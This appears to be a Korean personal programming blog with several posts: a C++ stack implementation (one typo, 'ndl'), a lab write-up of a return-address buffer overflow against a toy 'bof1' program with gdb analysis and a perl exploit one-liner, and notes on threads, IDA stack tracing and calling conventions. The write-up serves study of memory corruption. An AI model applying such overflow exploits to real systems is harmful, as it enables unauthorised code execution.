원본 : 

 

번역본 :



나머지 2개는 좀 한가해지는대로 해서 올리겠습니다. ㅎㅎㅎ 
Posted by Dakuo
원본 : 


번역본 : 


제가 직접 번역을 해보았는데 오역이 있으면 알려주시기 바랍니다.
(고등학교 때도 독해 안해봤는데 ... ㅋㅋㅋ 제가 이런걸 해볼줄이야 ... ㄷㄷ)

그리고 이걸 기본으로 해서 제가 다시 문서를 작서할 생각입니다.

Posted by Dakuo

Stack 구현

Data Structure 2010.07.15 20:55
#include <iostream> 

using namespace std; 

struct node
{
       int data;
       node* p;
};

class stack
{
public:
       node* head;
       node* tail;      
       int sz;      
  
       stack()
       {
               head = NULL;
               sz = 0;
               tail = NULL;
       }       
       void push(int num)
       {
              node* new_node = new node; 
              new_node ->data=num;
              new_node ->p=tail;
              tail=new_node;
              sz++;
       }      
       int pop()
       {
               if(isEmpty())
               {
                     return -1;
                }
               int tmp = tail->data;
              
               node* del_node = tail;
               tail = tail->p;
               delete del_node;
               sz--;
            
               return tmp;
         }       
        int top()
        {
               if(isEmpty())
               {
                     return -1;
               }
               return tail->data;
        }        
        int size()
        {
              return sz;
        }        
        bool isEmpty()
        {
              if(sz==0)
              {
                      return true;
              }
              else
              {
                      return false;
              }
         }
};

int main()
{
         stack a;
         int sel;
         int num;        
   
         while(1)
         {
               cout << "1.push"<<endl;
               cout << "2.pop"<<endl;
               cout << "3.top"<<endl;
               cout << "4.size"<<endl;
               cout << "5.all pop"<<endl;
               cout << "6.quit" << endl;
               cin >> sel;              
               if(sel==1)
               {
                      cout << "please input number" <<endl;
                      cin >> num;                      
               a.push(num);
               }
               else if(sel==2)
               {
                      num = a.pop();
                      if(num==-1)
                      {
                              cout <<"pop error!"<<endl<< endl;
                      }
                      else
                      {
                              cout <<"pop num is :" << num << ndl<<endl;
                      }
               }
               else if(sel==3)
               {
                      num=a.top();
                      if(num==-1)
                      {
                              cout << "top error!" <<endl<< endl;
                      }
                      else
                      {
                              cout <<"top num is : "<<num << endl << endl;
                      }
               }
               else if(sel==4)
               {
                      cout << "size is : " << a.size() <<endl << endl;
               }
               else if(sel==5)
               {
                      while(!a.isEmpty())
                      {
                              cout << a.pop() << " ";
                      }
                      cout << endl << endl;
                }
               else if(sel==6)
               {
                      break;
                }
         }        

         return 0;
}

'Data Structure' 카테고리의 다른 글

Stack 구현  (0) 2010.07.15
Posted by Dakuo

RTL BOF : (Return To Library Buffer Over Flow)


문제 환경 :

bof1.c : 공격대상 파일 소스
bof1    : 공격대상 실행파일

문제 실행 결과 :

[linuxer@sclclass2 s12091455]$ ./bof1
enter id
dakuo
you entered dakuo
program ends here

문제요구 조건 :  

RTL BOF 공격을 이용해
enter id 입력하는 구문으로 되돌아오기.

       enter id
       ..................
       you entered ..........
       enter id
       you entered .........
       ................



사전조사 :

[linuxer@sclclass2 ~]$ cd s12091455
[linuxer@sclclass2 s12091455]$ uname -r              // 리눅스 버전 확인
2.6.22.14-72.fc6

[linuxer@sclclass2 s12091455]$ cat ./bof1.c           // 공격대상 파일의 소스 확인
#include <stdio.h>

void foo()
{
        char id[5];
        printf("enter id\n");
        scanf("%s", id);
        printf("you entered %s \n", id);
}

int main()
{
        foo();
        printf("program ends here\n");
        return 0;
}

소스를 분석해보니 

foo() 의 리턴 어드레스(Return Address)를 foo() 의 시작 주소로 바꿔주면 될 것 같다.


gdb 분석 :

[linuxer@sclclass2 s12091455]$ gdb ./bof1
GNU gdb Fedora (6.8-10.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) disas main
Dump of assembler code for function main:
0x0804845e <main+0>:    lea    0x4(%esp),%ecx
0x08048462 <main+4>:    and    $0xfffffff0,%esp
0x08048465 <main+7>:    pushl  -0x4(%ecx)
0x08048468 <main+10>:   push   %ebp
0x08048469 <main+11>:   mov    %esp,%ebp
0x0804846b <main+13>:   push   %ecx
0x0804846c <main+14>:   sub    $0x4,%esp
0x0804846f <main+17>:   call   0x8048424 <foo>
0x08048474 <main+22>:   movl   $0x8048571,(%esp)
0x0804847b <main+29>:   call   0x8048354 <puts@plt>
0x08048480 <main+34>:   mov    $0x0,%eax
0x08048485 <main+39>:   add    $0x4,%esp
0x08048488 <main+42>:   pop    %ecx
0x08048489 <main+43>:   pop    %ebp
0x0804848a <main+44>:   lea    -0x4(%ecx),%esp
0x0804848d <main+47>:   ret
End of assembler dump.
(gdb) disas foo
Dump of assembler code for function foo:
0x08048424 <foo+0>:     push   %ebp
0x08048425 <foo+1>:     mov    %esp,%ebp
0x08048427 <foo+3>:     sub    $0x18,%esp
0x0804842a <foo+6>:     movl   $0x8048554,(%esp)
0x08048431 <foo+13>:    call   0x8048354 <puts@plt>
0x08048436 <foo+18>:    lea    -0x5(%ebp),%eax
0x08048439 <foo+21>:    mov    %eax,0x4(%esp)
0x0804843d <foo+25>:    movl   $0x804855d,(%esp)
0x08048444 <foo+32>:    call   0x8048334 <scanf@plt>
0x08048449 <foo+37>:    lea    -0x5(%ebp),%eax
0x0804844c <foo+40>:    mov    %eax,0x4(%esp)
0x08048450 <foo+44>:    movl   $0x8048560,(%esp)
0x08048457 <foo+51>:    call   0x8048344 <printf@plt>
0x0804845c <foo+56>:    leave
0x0804845d <foo+57>:    ret
End of assembler dump.
(gdb)

0x0804846f <main+17>:   call   0x8048424 <foo>  로

foo() 의 주소는 0x8048424 인것을 알수 있다.



버퍼의 사이즈 확인 :

GDB의 리턴어드레스 값 반환 이용 :

(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
01234567
you entered 01234567
program ends here

Program exited normally.
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
012345678
you entered 012345678

Program received signal SIGSEGV, Segmentation fault.
0x0099bfe1 in _dl_fini () from /lib/ld-linux.so.2
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
0123456789
you entered 0123456789

Program received signal SIGSEGV, Segmentation fault.
0x08040039 in ?? ()

01234567       의 8글자를 입력했을땐 아무 오류가 없었다.
012345678     의 9글자를 입력했을땐 Segmentation fault 발생하였다.
0123456789   의 10글자를 입력했을떈 리턴 어드레스 뒷부분의 값이 39로 변경되었다(아스키 코드값 : 9).

따라서 10번째 입력부터가 리턴 어드레스를 덮어쓴다는 것을 알수가 있다.


스택값으로 확인 :

(gdb) b *foo
Breakpoint 1 at 0x8048424
(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048424 in foo ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) ni
0x08048425 in foo ()
(gdb) ni
0x08048427 in foo ()
(gdb) ni
0x0804842a in foo ()
(gdb) ni
0x08048431 in foo ()
(gdb) ni
enter id
0x08048436 in foo ()
(gdb) ni
0x08048439 in foo ()
(gdb) ni
0x0804843d in foo ()
(gdb) ni
0x08048444 in foo ()
(gdb) ni
01234567
0x08048449 in foo ()
(gdb) x/32x $ebp
0xbf98d0f8:     0x00373635      0x08048474      0x0099bdd0      0xbf98d120
0xbf98d108:     0xbf98d178      0x009c75d6      0x080484a0      0x08048370
0xbf98d118:     0xbf98d178      0x009c75d6      0x00000001      0xbf98d1a4
0xbf98d128:     0xbf98d1ac      0x009aa810      0x00000000      0x00000001
0xbf98d138:     0x00000001      0x00000000      0x00b15ff4      0x00000000
0xbf98d148:     0x08048370      0xbf98d178      0x8bc6d07c      0x828fa702
0xbf98d158:     0x00000000      0x00000000      0x00000000      0x009a14d0
0xbf98d168:     0x009c74fd      0x009a9fc0      0x00000001      0x08048370

스택값을 ebp 기준으로 32 바이트를 읽어온 모습이다.

ebp 위의 4바이트는 main 함수의 SFP 위치가 저장되있고 그위 4바이트에 걸쳐 foo 함수의 리턴어드레스가 있다.
(참고 : 0x08048474 <main+22>:   movl   $0x8048571,(%esp))

우리가 입력한 값 01234567(NULL) 에서 567(NULL) 이 SFP 자리의 3바이트를 채웠다.
(35363700(리틀엔디안) : 373635)

따라서 012345679 의 9자리를 입력하고 나서 다음 입력값부터 리턴 어드레스를 덮어쓴다는 것을 알 수 있다.



공격구문 완성 :

[linuxer@sclclass2 s12091455]$ (perl -e 'print "A"x9,"\x24\x84\x04\x08"';cat)|./bof1

(앞의 9칸을 쓰레기값으로 채우고 리턴 어드레스를 덮어쓸 foo() 의 시작주소를 넣어준다)

enter id

you entered AAAAAAAAA$
enter id


공격이 성공한 것을 알수 있다.

'Linux > _Kernel' 카테고리의 다른 글

간단한 리눅스 RTL BOF  (2) 2010.03.22
Posted by Dakuo

쓰레드(Thread) : 하나의 프로그램 내에서 여러 개의 실행 흐름을 두기 위한 모델


1. 독립적인 스택(Stack)을 가진다.

2. 코드 영역을 공유한다.

(위와 같이 쓰레드 main 함수는 코드 영역에 존재하는 모든 함수를 호출할 수 있다)

3. 데이터 영역과 힙을 공유한다.(전역변수와 동적 할당된 메모리 공간 공유 가능)

4. 프로세스 핸들 테이블 공유

프로세스 핸들 테이블에 대한 핸들 정보는

프로세스 내의 쓰레드 들에게 공유되어 각 쓰레드가 그 핸들에 대해 접근이 가능하다
(참고 : 같은 프로세스내의 쓰레드들은 스택 이외의 모든 것을 공유한다)



프로세스와 쓰레드

Windows 에서 프로세스는 단순히 쓰레드를 담는 상자다.

실제 프로그램 흐름을 형성하는 것은 쓰레드이다.


따라서 스케줄러(Windows)가 볼때 2개의 프로세스가 아닌
 
실행 흐름을 가지고 있는 쓰레드 단위로 판단을 한다. 5개의 쓰레드를 인식한 후 스케줄링 한다.

(참고 : 컨텍스트 스위칭 시간

프로세스 A 내의 쓰레드 끼리의 컨텍스트 스위칭은 공유 영역이 많아 시간이 적게 걸린다.

하지만 프로세스 A와 프로세스 B 내의 쓰레드 끼리의 컨텍스트 스위칭은 공유 부분이 없어(프로세스끼리는 독립)

시간이 더 오래 걸린다)



커널(Kernel) 영역과 유저(User) 영역 :


유저 영역 : 사용자가 구현한 프로그램 동작시 사용하게 되는 메모리 영역

커널 영역 : 운영체제 동작시 사용하게 되는 메모리 영역


커널 레벨 쓰레드 :

쓰레드를 생성 및 스케줄링하는 주체가 커널


장점 : 안전성과 다양한 기능

단점 : 유저 모드와 커널 모드로의 전환으로 인해 성능이 저하된다.

(참고 : 사용자가 구현한 프로그램은 기본적으로 유저모드에서 동작하다가 Windows 커널이 실행되어야 하는 경우
커널 모드로의 전환이 일어나고 일을 마치면 다시 유저 모드로 전환된다)


유저 레벨 쓰레드 :

커널에 의존적이지 않은 형태로 쓰레드의 기능을 제공하는 라이브러리를 활용

(참고 : 스케줄러는 쓰레드를 지원하지 않아 쓰레드의 존재를 모른다. 따라서 프로세스 단에서 스케줄링을 한다
따라서 쓰레드 끼리의 스케줄링은 유저가 구현해야 한다) 

장점 : 유저모드에서 커널모드로의 전환이 필요없다. 성능이 좋다

단점 : 프로그래밍 하기 어렵고 커널 레벨 쓰레드에 비해 결과 예측이 어렵다.

'Windows > _System Programming' 카테고리의 다른 글

쓰레드(Thread) 메모리 접근 동기화  (0) 2010.03.04
쓰레드(Thread)의 생성과 소멸  (0) 2010.02.28
쓰레드(Thread)  (2) 2010.02.28
환경변수  (0) 2010.02.25
스케줄링 알고리즘과 우선순위  (0) 2010.02.25
파이프(Pipe) IPC 통신 소스  (0) 2010.02.24
Posted by Dakuo

IDA의 디버깅을 통한 스택의 Stack 분석

분석해볼 프로그램은 IDA의 사용법을 알아보기 위해 예제로 썻던 것을 계속 쓰겠다.

다시 한번 설명하면 func( ) 함수에 세 개의 값을 파라미터로 전달하고 그 값들의 합을 리턴하는 프로그램이다.


#include <stdio.h>

 func(int a, int b, int c)
{
           return a+b+c;
}

int main(void)
{
           int sum;
           sum = func(1, 2, 3);
           return sum;
}


프로그램이 실행되기 전의 Stack이다. ESP, EBP의 위치를 살펴본다.


.text:00401060 push    ebp :
EBP가 가리키는 곳이 SFP(Saved Frame Pointer)로 변하고, 그 윗부분이 RET로 바뀌며 스택에 EBP값 12FFC0h값을 넣고 ESP는 한 칸 내려간다.
(참고 : EBP는 함수 시작전의 기준점이 되며. 이 최초의 EBP가 할당된 값을 스택에 저장한다. SFP(SavedFramePointer) : 스택에 저장된 EBP, RET : 함수 종료시 점프 할 주소 값을 저장)

.text:00401061 mov     ebp, esp :
EBP가 ESP가 가리키는 곳을 가리키게 된다. 즉 EBP와 ESP가 같은 지점을 가리킨다.

.text:00401063 sub     esp, 44h :
EBP가 가리키는 곳이 SFP로 변하고 바로 밑에 RET가 있다. 또한 ESP에서 44를 뺀다. 즉 ESP는 var_44변수를 가리키게 된다.

.text:00401066 push ebx :
ESP가 한 칸 내려가면서 현재 EBX값 7FFDA000이 스택에 들어간다.

.text:00401067 push    esi :
ESP가 한 칸 내려가면서 현재 ESI값 01B26D97이 스택에 들어간다.

.text:00401068 push    edi :
ESP가 한 칸 내려가면서 현재 EDI값 01B26CF8이 스택에 들어간다.
       
.text:00401069 lea     edi, [ebp+var_44] :
[ebp+var_44]의 주소를 EDI에 넣는다.

.text:0040106C mov     ecx, 11h :
11을 ECX에 넣는다.

.text:00401071 mov     eax, 0CCCCCCCCh :
CCCCCCCC를 EAX에 넣는다.

.text:00401076 rep stosd :
기본 할당 공간(ECX값 11)을 EAX값으로 채운다, EDI는 반복할 때마다 한 칸 올라간다.
                                    
.text:00401078 push    3 :
ESP가 한 칸 내려가면서 3값이 들어간다.
                       
.text:0040107A push    2 :
ESP가 한 칸 내려가면서 2값이 들어간다.

.text:0040107C push    1
ESP가 한 칸 내려가면서 1값이 들어간다.

.text:0040107E call    j_func :
j_func를 call한다.
call j_func의 내부로 추적해 들어가겠다.(Step Into)


stack

       .text:00401020 push    ebp :
       EBP가 가리키는 곳이 SFP(Saved Frame Pointer)로 변하고, 그 윗부분이 RET로
       바뀌며 ESP는 다음 주소를 가리킨다.

      .text:00401021 mov     ebp, esp :
      EBP가 ESP가 가리키는 곳을 가리킨다.

      .text:00401023 sub     esp, 40h :
       EBP가 가리키는 곳이 SFP로 변하고 바로 밑에 RET가 있다. 또한 ESP에서 40을
       뺀다. 즉 ESP는 var_40변수를 가리킨다.

      .text:00401026 push    ebx : 
      ESP가 한 칸 내려가면서 현재 EBX값 7FFDB000h이 스택에 들어간다.
      
      .text:00401027 push    esi :
      ESP가 한 칸 내려가면서 현재 ESI값 01B26D97이 스택에 들어간다.

      .text:00401028 push    edi :
      ESP가 한 칸 내려가면서 현재 EDI값 12FF80h이 스택에 들어간다.

      .text:00401029 lea     edi, [ebp+var_40] :
      [ebp+var_40]의 주소를 EDI에 넣는다.

      .text:0040102C mov     ecx, 10h :
      10을 ECX에 넣는다.

      .text:00401031 mov     eax, 0CCCCCCCCh :
      CCCCCCCC를 EAX에 넣는다.

      .text:00401036 rep stosd :
      기본 할당 공간(ECX값 10)을 EAX값으로 채운다, EDI는 반복할 때마다 한 칸 올라 간다.

      .text:00401038 mov     eax, [ebp+arg_0] :
      [ebp+arg_0]의 값인 1을 EAX에 넣는다.

      .text:0040103B add     eax, [ebp+arg_4] :
      [ebp+arg_4]의 값인 2를 EAX에 더한다. (EAX = 1+2 = 3)

      .text:0040103E add     eax, [ebp+arg_8] :
      [ebp+arg_8]의 값인 3을 EAX에 더한다. (EAX = 3+3 = 6)

      .text:00401041 pop     edi :
      스택의 값(0012FF80)을 꺼내서 EDI에 넣는다. ESP는 한칸 내려간다.

      .text:00401042 pop     esi :
      스택의 값(01B26D97)을 꺼내서 EDI에 넣는다. ESP는 한칸 내려간다.

      .text:00401043 pop     ebx :
      스택의 값(7FFDB000)을 꺼내서 EDI에 넣는다. ESP는 한칸 내려간다.
      
      .text:00401044 mov     esp, ebp :
      EBP가 ESP가 가리키는 곳을 가리킨다.

      .text:00401046 pop     ebp :
      스택의 값(12FF80h)을 꺼내서 EBP에 넣는다. ESP는 한칸 내려간다.

      .text:00401047 retn :
      ESP는 한칸 위를 가리킨다.


.text:00401083 add     esp, 0Ch :
ESP에 0Ch를 더한다.

.text:00401086 mov     [ebp+var_4], eax :
EAX의 값인 6을 ebp+4에 위치에 넣는다.

.text:00401089 mov     eax, [ebp+var_4] :
의미없는 명령으로 ebp+4의 값인 6을 eax에 넣는다.

.text:0040108C pop     edi :
스택의 값(01B26CF8)을 꺼내서 EDI에 넣는다. ESP는 한칸 내려간다.

.text:0040108D pop     esi :
스택의 값(01B26D97)을 꺼내서 ESI에 넣는다. ESP는 한칸 내려간다.

.text:0040108E pop     ebx :
스택의 값(7FFDB000)을 꺼내서 EBX에 넣는다. ESP는 한칸 내려간다.

.text:0040108F add     esp, 44h :
ESP에 44를 더한다. EBP가 가리키는 곳을 가리킨다.

.text:00401092 cmp     ebp, esp :
EBP와 ESP값을 비교한다. (값이 같다)

.text:00401094 call    __chkesp :
__chkesp를 call한다.
건너뛰겠다.(StepOver)

.text:00401099 mov     esp, ebp :
EBP의 주소를 ESP에 넣게 되어 ESP는 현재의 EBP주소를 가리킨다.

.text:0040109B pop     ebp :
EBP는 이전의 EBP인 12FFC0h을 가리키게 되고 ESP는 한칸 내려간다.

.text:0040109C retn :
ESP가 가리키는 4011D9h주소로 이동하고(call명령 다음의 코드) ESP는 한칸 위를 가리킨다.
(참고 : 즉 처음 EBP값을 스택에 넣어 함수의 시작주소를 저장하고 RET로 함수가 끝난 후 메인루틴의 call 함수 다음의 코드로 리턴하여 메인루틴을 실행한다)

Posted by Dakuo
Function(1, 2)라고 선언이 된 함수가 사용된다면

push 2
push 1
call 004017E0

이와 같은 어셈블리 코드가 되는데, 파라미터는 뒤에서부터 push가 된다.

그 이유는 스택(stack)에 값을 순서대로 쌓아놓고, 나중에 쌓인 값을 우선으로 해 빼서 사용하기 때문이다.

일반적인 메모리 구조는 그림과 같다.


프로그램이 실행되기 위해서는 실행에 필요한 모든 것들이 메모리에 적재되어야만 한다.

Text : 컴파일된 프로그램 소스가 기계어의 형태로 위치

Data : 프로그램에서 초기화된 데이터들의 위치

BSS : 초기화되지 않은 변수들의 위치. 항상 0으로 초기화됨

Stack : 지역변수, Command Line arguments 위치

Heap : 동적으로 할당된 변수들이 위치

Stack은 LIFO(Last In First Out)이다. 나중에 들어온 것이 먼저 나간다.
스택에 데이터를 넣는 것을 push, 스택에서 값을 추출하는 것을 pop이라고 하며 일반적으로 top으로 명명되는 현재 스택 포인터가 사용된다.
push가 될 때마다 스택 포인터가 하나씩 증가되고 pop이 될 때마다 스택 포인터가 하나씩 감소된다.



스택에 세 번의 push와 두번의 pop이 일어날 때의 메모리 상태이다. push, pop이 일어날 때마다 스택 포인터인 top의 값이 변하는 것을 볼 수 있다.

일반적으로 프로그램에서 함수가 호출될 때마다 새로운 스택이 할당된다. 새로운 함수가 호출되면 프로그램은 현재까지 실행된 곳의 주소를 저장한 뒤 새로운 스택을 생성하여 함수에 필요한 자료들을 처리하고, 함수가 끝나면 저장했던(함수가 시작된 곳) 곳으로 되돌아가서 다음 프로그램을 수행하게 된다.

Intel CPU에서는 EBP, ESP, SFP, EIP 등을 이용하여 스택을 구현하는데 현재까지 실행된 곳의 주소는 EBP에 저장되고, 스택 포인터는 ESP가 된다. SFP는 스택의 top을 가리키는 고정된 주소를 가지고 있으며 EIP는 다음으로 실행할 명령어의 주소를 가리키게 된다.(1)



콜링컨벤션(Calling Conventions) :
스택을 이용하여 파라미터를 전달할 때 스택에 파라미터를 어떠한 순서로 넣을 것이며 또한 전달된 파라미터를 어느 곳에서 해제할 것인가를 결정하는 방식.

1. _cdecl
C 또는 C++ 프로그램에서 파라미터 전달시 디폴트값
파라미터 전달은 오른쪽에서 왼쪽 방향으로 스택에 저장한다.
파라미터 해제는 프로시저를 호출한 것이 책임진다.


2. _stdcall
Window API 프로시저에서 사용한다.
파라미터 전달은 _cdecl과 동일하다.
파라미터 해제는 프로시저 복귀 전에 이루어진다.

장점 :
1. 함수 독립성이 뛰어나다.
2. 프로시저를 부르기 전에 스택에 파라미터를 쌓아놓고 그 프로시저를 부르기만 하면 그 함수가 리턴된 후에는 그 프로시저의 스택 포인터가 이전 상태로 복원되었으므로 복귀한 후에 호출한 프로시저에 대하여 신경쓸 필요가 없다.
3. _cdecl 방식의 콜링컨벤션에 비해 코드 크기가 줄어든다.
4. 스택을 해제하는 코드가 호출한 프로시저 안에 있으므로 이 프로시저가 여러 곳에서 호출된다 할지라도 스택 해제하는 코드는 프로시저 내에 하나만 존재한다.


3. fastcall
처음 두 개까지의 파라미터는 스택을 사용하지 않고, ecx와 edx 레지스터를 사용한다.
그 이상의 파라미터는 오른쪽에서 왼쪽으로 스택에 저장한다.
스택 제거는 _stdcall과 동일하다.

'Language > _Assembly' 카테고리의 다른 글

함수 호출 과정  (0) 2010.03.06
어셈블리 디자인을 통한 컴퓨터 구조의 접근  (0) 2010.02.09
스택과 콜링컨벤션의 이해  (0) 2009.10.26
상황별 기초 어셈블리어  (3) 2009.10.26
기초 어셈블리어.  (11) 2009.10.25
Posted by Dakuo